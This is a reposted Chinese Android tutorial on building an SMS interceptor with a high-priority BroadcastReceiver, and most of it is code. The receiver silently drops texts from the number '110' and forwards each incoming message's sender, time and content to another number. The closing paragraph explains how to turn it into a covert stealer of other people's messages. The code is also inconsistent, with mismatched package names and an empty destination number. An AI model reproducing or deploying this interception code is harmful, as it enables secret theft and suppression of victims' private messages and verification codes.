关于Android短信拦截(二)

题外话:因为这是一篇来自百度的文章,并且在好多网站中都有转载,但却没有标明出处,所以我也搞不清作者是何人,特在此声。另外,关于这个例子的实现,一定要注意权限的设置,我在这里例子的实验中,由于没有找到SEND_SMS权限,导致短信拦截时出现RuntmeException和illegalargumentexception错误,令我百思不得其解,花费了2个小时才发现这个问题,望诸位引以为戒!

       今天利用广播机制给178折社区做了一个短信拦截器。在我做的这个拦截器中,可以有两种方式来设置拦截,一种是在AndroidManifest.xml直接设置拦截,另外一种是通过手动注册来设计拦截。在这里我们需要通过查文档找到短信收发的一些权限。 
下面我附上自己做的这个拦截器的代码供大家参考。 

main.xml layout 

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
   android:orientation="vertical"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent"
    >
<Button  
   android:layout_width="fill_parent" 
    android:layout_height="wrap_content" 
    android:text="注册拦截"
     android:onClick="regiset"
     />
 <Button  
     android:layout_width="fill_parent" 
     android:layout_height="wrap_content" 
     android:text="解注册拦截"
     android:onClick="unregiset"
     />
</LinearLayout>

首页显示的SmsListenerActivity: 
package com.tk178zhe.android.SmsListener;
  
  import android.app.Activity;
  import android.content.IntentFilter;
  import android.os.Bundle;
  import android.view.View;
  import android.widget.Toast;
  
  public class SmsListenerActivity extends Activity {
     private SmsRecevier recevier;
     private boolean isregiset = false;
     private static final String ACTION = "android.provider.Telephony.SMS_RECEIVED";
 
     @Override
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.main);
         recevier = new SmsRecevier();
     }
     public void regiset(View v) {
         IntentFilter filter = new IntentFilter(ACTION);
         filter.setPriority(1000);//设置优先级最大
         registerReceiver(recevier, filter);
         isregiset = true;
         Toast.makeText(this, "注册成功", 0).show();
     }
 
     public void unregiset(View v) {
         if (recevier != null && isregiset) {
              unregisterReceiver(recevier);
             isregiset = false;
             Toast.makeText(this, "解注册成功", 0).show();
         } else
             Toast.makeText(this, "尚未注册", 0).show();
     }
     @Override
     protected void onDestroy() {
         super.onDestroy();
         if (recevier != null && isregiset) {
              unregisterReceiver(recevier);
             isregiset = false;
             Toast.makeText(this, "解注册成功", 0).show();
         }
     }
 }

如果是利用手动的来注册拦截,那么就不需要在AndroidManifest.xml中设置recevier了。不过利用手动的来设置拦截,那就和做的这个拦截器的需要不相符了,这里我只是为了更加明显的说明广播的机制。 
AndroidManifest.xml: 
 <?xml version="1.0" encoding="utf-8"?>
  <manifest xmlns:android="http://schemas.android.com/apk/res/android"
        package="com.tk178zhe.android.SmsListener"
        android:versionCode="1"
        android:versionName="1.0">
      <uses-sdk android:minSdkVersion="8" />
  
      <application android:icon="@drawable/icon" android:label="@string/app_name">
          <activity android:name=".SmsListenerActivity"
                   android:label="@string/app_name">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
         <!-- 这是隐式的设置receiver 我们做的这个拦截器需要这样去做
         <receiver android:name=".SmsRecevier">
             <intent-filter android:priority="1000"> 将优先级设到最大
                 <action android:name="android.provider.Telephony.SMS_RECEIVED" />
             </intent-filter>
         </receiver>
          -->    
     </application>
      <uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
     <uses-permission android:name="android.permission.SEND_SMS"/><!-- 发送短信权限 -->
     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
 </manifest>

SmsRecevier类用作拦截信息:
  package com.tk178zhe.android.android;
  
  import java.text.SimpleDateFormat;
  import java.util.Date;
  
  import android.content.BroadcastReceiver;
  import android.content.Context;
  import android.content.Intent;
  import android.telephony.SmsManager;
  import android.telephony.SmsMessage;
  import android.util.Log;
  
  public class SmsRecevier extends BroadcastReceiver {
      public SmsRecevier() {
          Log.v("TAG", "SmsRecevier create");
      }
  
      @Override
      public void onReceive(Context context, Intent intent) {
          Log.v("TAG", "SmsRecevier onReceive");
         Object[] pdus = (Object[]) intent.getExtras().get("pdus");
         if (pdus != null && pdus.length > 0) {
             SmsMessage[] messages = new SmsMessage[pdus.length];
             for (int i = 0; i < pdus.length; i++) {
                 byte[] pdu = (byte[]) pdus[i];
                 messages[i] = SmsMessage.createFromPdu(pdu);
             }
             for (SmsMessage message : messages) {
                 String content = message.getMessageBody();// 得到短信内容
                  String sender = message.getOriginatingAddress();// 得到发信息的号码
                 if (sender.equals("110")) {
                     abortBroadcast();// 中止发送
                     Log.e("TAG", "此号码为黑名单号码,已拦截!");
                 }
                 Date date = new Date(message.getTimestampMillis());
                 SimpleDateFormat format = new SimpleDateFormat(
                         "yyyy-MM-dd HH:mm:ss");
                 String sendContent = format.format(date) + ":" + sender + "--"
                         + content;
                 SmsManager smsManager = SmsManager.getDefault();// 发信息时需要的
                  smsManager.sendTextMessage("", null, sendContent, null,
                         null);// 转发给
                 Log.v("TAG", sendContent);
             }
         }
     }
 }
这样一个短信拦截器就做好了,当110这个号码给别人发信息时,就会被拦截,转发给178。我们可以通过Log的打印信息来观察结果。当然我们可以做一个不拦截,但是可以窃取短信的短信窃取器。怎么做呢?和上面差不多,只是不需要拦截了,而是利用短信在发送给指定人的同时让它也发给自己,这样就可以做到不动声色的窃取别人的信息内容了。

你可能感兴趣的:(android,String,layout,null,action,import)